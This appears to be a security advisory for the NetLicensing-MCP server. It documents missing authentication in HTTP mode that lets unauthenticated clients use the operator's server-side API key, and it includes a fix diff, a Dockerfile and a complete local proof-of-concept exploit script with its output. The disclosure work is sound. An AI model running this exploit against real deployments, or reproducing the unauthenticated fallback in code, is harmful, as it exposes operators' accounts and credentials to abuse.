NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

 1# src/netlicensing_mcp/server.py
 21418:     if not key:
 31419:         key = request.query_params.get("apikey")
 41421:     if key:
 51422:         token = api_key_ctx.set(key)
 6            ...
 71427:     return await call_next(request)   # <-- no rejection when key is absent

 1# src/netlicensing_mcp/client.py
 230:  "api_key", default=os.getenv("NETLICENSING_API_KEY", "")   # server-side fallback
 3...
 464:  auth_str = f"apiKey:{api_key}"
 570:  "Authorization": f"Basic {token}",
 6...
 7109: r = await client.get(url, headers=_headers(), params=params or {})

 1--- a/src/netlicensing_mcp/server.py
 2+++ b/src/netlicensing_mcp/server.py
 3@@
 4          class ApiKeyMiddleware(BaseHTTPMiddleware):
 5              async def dispatch(self, request: Request, call_next):
 6+                 if request.url.path == "/health":
 7+                     return await call_next(request)
 8+
 9                  key = request.headers.get("x-netlicensing-api-key")
10                  if not key:
11                      auth = request.headers.get("authorization")
12                      if auth and auth.lower().startswith("bearer "):
13                          key = auth[7:]
14@@
15                          return await call_next(request)
16                      finally:
17                          api_key_ctx.reset(token)
18-                 return await call_next(request)
19+                 return JSONResponse(
20+                     {"error": "NetLicensing API key is required for HTTP transport"},
21+                     status_code=401,
22+                 )

 1# Build the image from the repository root
 2docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
 3 
 4# Run the PoC — exits 0 on confirmed exploit
 5docker run --rm --network=host vuln-001-netlicensing

 1# Terminal 1 — mock upstream NetLicensing REST API
 2python3 - <<'PY'
 3from http.server import BaseHTTPRequestHandler, HTTPServer
 4import json
 5class H(BaseHTTPRequestHandler):
 6    def do_GET(self):
 7        print("MOCK_REQUEST", self.command, self.path,
 8              self.headers.get("Authorization"), flush=True)
 9        self.send_response(200)
10        self.send_header("Content-Type", "application/json")
11        self.end_headers()
12        self.wfile.write(json.dumps({"items": {"item": []}}).encode())
13    def log_message(self, *args): pass
14HTTPServer(("127.0.0.1", 19090), H).serve_forever()
15PY
16 
17# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
18NETLICENSING_API_KEY=SERVERSECRET \
19NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
20MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
21python3 -m netlicensing_mcp.server http
22 
23# Terminal 3 — attacker: connect with NO API key and invoke a tool
24python3 - <<'PY'
25import asyncio
26from mcp import ClientSession
27from mcp.client.streamable_http import streamablehttp_client
28 
29async def main():
30    async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
31        async with ClientSession(read, write) as session:
32            await session.initialize()
33            print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
34 
35asyncio.run(main())
36PY

 1MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==

 1$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
 2apiKey:SERVERSECRET

 1[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
 2Decoded: apiKey:SERVERSECRET
 3[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
 4NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
 5CWE-306 / VULN-001 reproduced.

 1FROM python:3.12-slim
 2 
 3RUN apt-get update && apt-get install -y --no-install-recommends git \
 4 && rm -rf /var/lib/apt/lists/*
 5 
 6WORKDIR /app
 7 
 8# Copy repo (with .git for hatch-vcs versioning) and PoC script
 9COPY repo/ /app/repo/
10COPY vuln-001/poc.py /app/poc.py
11 
12# Install the vulnerable MCP server package and its dependencies
13RUN cd /app/repo && pip install --no-cache-dir .
14 
15CMD ["python3", "/app/poc.py"]

 1#!/usr/bin/env python3
 2"""
 3PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
 4CWE-306 — Missing Authentication for Critical Function
 5 
 6Attack scenario:
 7 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
 8 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
 9 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
10 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
11 5. The upstream NetLicensing REST API receives the operator's credential — attacker
12 effectively uses the operator's account for all MCP tool invocations.
13 
14Expected evidence: mock upstream prints
15 Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
16 Decoded: apiKey:SERVERSECRET
17even though the MCP client sent no credentials.
18"""
19 
20import asyncio
21import base64
22import json
23import os
24import subprocess
25import sys
26import threading
27import time
28from http.server import BaseHTTPRequestHandler, HTTPServer
29 
30# ─── Configuration ────────────────────────────────────────────────────────────
31 
32MOCK_PORT = 19090
33MCP_PORT = 18181
34SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var
35 
36# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────
37 
38captured_requests: list[dict] = []
39mock_ready = threading.Event()
40 
41 
42class MockUpstreamHandler(BaseHTTPRequestHandler):
43 def _handle(self):
44 auth = self.headers.get("Authorization", "<none>")
45 entry = {
46 "method": self.command,
47 "path": self.path,
48 "authorization": auth,
49 }
50 captured_requests.append(entry)
51 print(
52 f"[MOCK_UPSTREAM] {self.command} {self.path} "
53 f"Authorization={auth}",
54 flush=True,
55 )
56 self.send_response(200)
57 self.send_header("Content-Type", "application/json")
58 self.end_headers()
59 self.wfile.write(json.dumps({"items": {"item": []}}).encode())
60 
61 do_GET = _handle
62 do_POST = _handle
63 do_PUT = _handle
64 
65 def log_message(self, *args):
66 pass
67 
68 
69def _run_mock(port: int) -> None:
70 srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
71 mock_ready.set()
72 srv.serve_forever()
73 
74 
75# ─── Helpers ─────────────────────────────────────────────────────────────────
76 
77def _decode_basic(header: str) -> str | None:
78 if not header.startswith("Basic "):
79 return None
80 try:
81 return base64.b64decode(header[6:]).decode()
82 except Exception:
83 return None
84 
85 
86async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
87 """Poll until the MCP /health endpoint responds or timeout."""
88 import httpx
89 deadline = time.monotonic() + timeout
90 while time.monotonic() < deadline:
91 try:
92 async with httpx.AsyncClient() as c:
93 r = await c.get(f"http://{host}:{port}/health", timeout=1)
94 if r.status_code < 500:
95 return True
96 except Exception:
97 pass
98 await asyncio.sleep(0.4)
99 return False
100 
101 
102# ─── PoC ──────────────────────────────────────────────────────────────────────
103 
104async def main() -> None:
105 # 1. Start mock upstream
106 t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
107 t.start()
108 mock_ready.wait(timeout=5)
109 print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
110 
111 # 2. Launch vulnerable MCP server in HTTP mode with server-side API key
112 env = os.environ.copy()
113 env.update({
114 "NETLICENSING_API_KEY": SERVER_API_KEY,
115 "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
116 "MCP_HOST": "127.0.0.1",
117 "MCP_PORT": str(MCP_PORT),
118 })
119 proc = subprocess.Popen(
120 [sys.executable, "-m", "netlicensing_mcp.server", "http"],
121 env=env,
122 cwd="/app/repo",
123 stdout=subprocess.PIPE,
124 stderr=subprocess.PIPE,
125 )
126 print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)
127 
128 ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
129 if not ready:
130 # /health may not exist; just wait a fixed time
131 print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
132 await asyncio.sleep(5)
133 
134 if proc.poll() is not None:
135 _, err = proc.communicate()
136 print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
137 sys.exit(1)
138 
139 print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
140 
141 # 3. Attack: connect WITHOUT any API key and invoke a tool
142 print(
143 "\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
144 "with NO client API key ...",
145 flush=True,
146 )
147 try:
148 from mcp import ClientSession
149 from mcp.client.streamable_http import streamablehttp_client
150 
151 async with streamablehttp_client(
152 f"http://127.0.0.1:{MCP_PORT}/mcp"
153 ) as (read, write, _):
154 async with ClientSession(read, write) as session:
155 await session.initialize()
156 result = await session.call_tool(
157 "netlicensing_list_products", {"filter": ""}
158 )
159 print(f"[*] Tool call succeeded: {result}", flush=True)
160 except Exception as exc:
161 print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
162 finally:
163 proc.terminate()
164 await asyncio.sleep(0.5)
165 
166 # 4. Evaluate captured evidence
167 print("\n" + "=" * 70, flush=True)
168 print("CAPTURED UPSTREAM REQUESTS:", flush=True)
169 for req in captured_requests:
170 print(f" {req['method']} {req['path']}", flush=True)
171 print(f" Authorization: {req['authorization']}", flush=True)
172 decoded = _decode_basic(req["authorization"])
173 if decoded:
174 print(f" Decoded: {decoded}", flush=True)
175 print("=" * 70, flush=True)
176 
177 # 5. Verdict
178 server_key_leaked = any(
179 SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
180 for r in captured_requests
181 )
182 
183 if server_key_leaked:
184 print(
185 f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
186 f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
187 f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
188 flush=True,
189 )
190 sys.exit(0)
191 elif not captured_requests:
192 print(
193 "\n[FAIL] No upstream requests captured — the MCP tool call did not "
194 "reach the upstream API.",
195 flush=True,
196 )
197 sys.exit(2)
198 else:
199 print(
200 "\n[FAIL] Upstream requests captured but server API key not found in "
201 "Authorization headers.",
202 flush=True,
203 )
204 sys.exit(2)
205 
206 
207if __name__ == "__main__":
208 asyncio.run(main())